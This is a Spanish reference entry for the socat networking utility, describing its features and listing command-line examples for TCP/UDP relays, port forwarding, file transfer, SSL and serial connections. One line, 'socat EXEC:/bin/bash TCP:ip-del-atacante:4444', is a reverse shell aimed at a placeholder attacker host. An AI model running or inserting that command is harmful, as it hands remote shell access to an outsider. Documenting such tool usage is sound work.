[SOcket CAT]. Herramienta multipropósito que establece dos flujos de bytes bidireccionales y transfiere datos entre ellos. Es como una versión mucho más potente y flexible de netcat [ver]. Los canales de datos pueden ser archivos, tuberías, dispositivos [terminal o módem, etc.] o sockets [Unix, IPv4, IPv6, raw, UDP, TCP, SSL]. Ofrece bifurcación, registro y rastreo, diferentes modos para la comunicación entre procesos, como relé TCP de un solo uso o demonio, como generador de sockets externo, como interfaz de shell para sockets Unix, como relé IPv6, como reemplazo de netcat y rinetd, para redirigir programas orientados a TCP a una línea serie, o para establecer un entorno relativamente seguro [su y chroot] para ejecutar scripts de shell de cliente o servidor dentro de conexiones de red.
$ socat - TCP:example.com:80
$ socat -d -d - TCP4:www.example.com:80
$ socat TCP-LISTEN:1234,reuseaddr STDOUT
$ socat TCP-LISTEN:1234,reuseaddr,fork STDOUT
$ socat TCP-LISTEN:8080,reuseaddr,fork TCP:192.168.1.100:80
$ socat TCP-LISTEN:8080,bind=127.0.0.1,reuseaddr,fork TCP:example.com:80
$ socat TCP-LISTEN:3307,reuseaddr,fork UNIX-CONNECT:/var/lib/mysql/mysql.sock
$ socat TCP-LISTEN:4444,reuseaddr FILE:archivo.txt
$ socat TCP-LISTEN:4444 < archivo.txt
$ socat TCP:ip-del-servidor:4444 FILE:archivo_recibido.txt,create
$ socat TCP:servidor:4444 > archivo_recibido.txt
$ socat TCP-LISTEN:9000,reuseaddr,fork EXEC:/bin/cat
$ socat TCP-LISTEN:4444,reuseaddr -
$ socat EXEC:/bin/bash TCP:ip-del-atacante:4444
$ socat -u STDIO FILE:salida.txt,create
$ socat -u TCP-LISTEN:3334,reuseaddr,fork OPEN:/tmp/mensajes.log,creat,append
$ socat UDP4-RECVFROM:5353,reuseaddr,fork UDP4-SENDTO:8.8.8.8:53
$ socat UDP-LISTEN:1234,reuseaddr STDOUT
$ socat - OPENSSL:example.com:443,verify=0
$ socat - TCP-LISTEN:25,crlf
$ socat - /dev/ttyUSB0,raw,echo=0,crlf